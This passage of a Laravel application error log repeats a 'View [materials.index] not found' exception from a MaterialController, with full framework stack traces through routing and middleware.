#37 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#38 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
#39 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#40 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
#41 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#42 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle()
#43 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#44 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle()
#45 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#46 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
#47 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#48 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
#49 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#50 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then()
#51 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#52 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle()
#53 /var/www/html/flnavigator/public/index.php(20): Illuminate\\Foundation\\Application->handleRequest()
#54 {main}
"} 
[2026-06-02 12:10:15] local.ERROR: View [materials.index] not found. {"exception":"[object] (InvalidArgumentException(code: 0): View [materials.index] not found. at /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:138)
[stacktrace]
#0 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php(78): Illuminate\\View\\FileViewFinder->findInPaths()
#1 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Factory.php(150): Illuminate\\View\\FileViewFinder->find()
#2 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php(1101): Illuminate\\View\\Factory->make()
#3 /var/www/html/flnavigator/app/Http/Controllers/MaterialController.php(71): view()
#4 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(46): App\\Http\\Controllers\\MaterialController->index()
#5 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch()
#6 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}()
#9 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#10 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
#11 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#12 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
#13 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#14 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
#15 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#16 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
#17 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle()
#18 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#19 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
#20 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#21 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
#22 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#23 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then()
#24 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack()
#25 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute()
#26 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute()
#27 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch()
#28 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
#29 /var/www/html/flnavigator/vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php(19): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#30 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
#31 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#32 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#33 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
#34 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#35 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#36 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
#37 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#38 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
#39 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#40 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
#41 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#42 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle()
#43 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#44 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle()
#45 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#46 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
#47 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#48 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
#49 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#50 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then()
#51 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#52 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle()
#53 /var/www/html/flnavigator/public/index.php(20): Illuminate\\Foundation\\Application->handleRequest()
#54 {main}
"} 
[2026-06-02 12:10:18] local.ERROR: View [materials.index] not found. {"exception":"[object] (InvalidArgumentException(code: 0): View [materials.index] not found. at /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:138)
[stacktrace]
#0 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php(78): Illuminate\\View\\FileViewFinder->findInPaths()
#1 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Factory.php(150): Illuminate\\View\\FileViewFinder->find()
#2 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php(1101): Illuminate\\View\\Factory->make()
#3 /var/www/html/flnavigator/app/Http/Controllers/MaterialController.php(71): view()
#4 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(46): App\\Http\\Controllers\\MaterialController->index()
#5 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch()
#6 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}()
#9 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#10 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
#11 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#12 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
#13 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#14 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
#15 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#16 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
#17 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle()
#18 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#19 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
#20 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#21 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
#22 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#23 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then()
#24 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack()
#25 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute()
#26 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute()
#27 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch()
#28 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
#29 /var/www/html/flnavigator/vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php(19): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#30 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
#31 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#32 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#33 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
#34 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#35 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#36 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
#37 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#38 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
#39 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#40 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
#41 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#42 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle()
#43 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#44 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle()
#45 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#46 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
#47 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#48 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
#49 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#50 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then()
#51 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#52 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle()
#53 /var/www/html/flnavigator/public/index.php(20): Illuminate\\Foundation\\Application->handleRequest()
#54 {main}
"} 
[2026-06-02 12:10:20] local.ERROR: View [materials.index] not found. {"exception":"[object] (InvalidArgumentException(code: 0): View [materials.index] not found. at /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:138)
[stacktrace]
#0 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php(78): Illuminate\\View\\FileViewFinder->findInPaths()
#1 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Factory.php(150): Illuminate\\View\\FileViewFinder->find()
#2 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php(1101): Illuminate\\View\\Factory->make()
#3 /var/www/html/flnavigator/app/Http/Controllers/MaterialController.php(71): view()
#4 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(46): App\\Http\\Controllers\\MaterialController->index()
#5 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch()
#6 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}()
#9 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#10 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
#11 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#12 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
#13 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#14 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
#15 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#16 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
#17 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle()
#18 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#19 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
#20 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#21 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
#22 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#23 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then()
#24 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack()
#25 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute()
#26 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute()
#27 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch()
#28 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
#29 /var/www/html/flnavigator/vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php(19): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#30 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
#31 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#32 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#33 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
#34 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
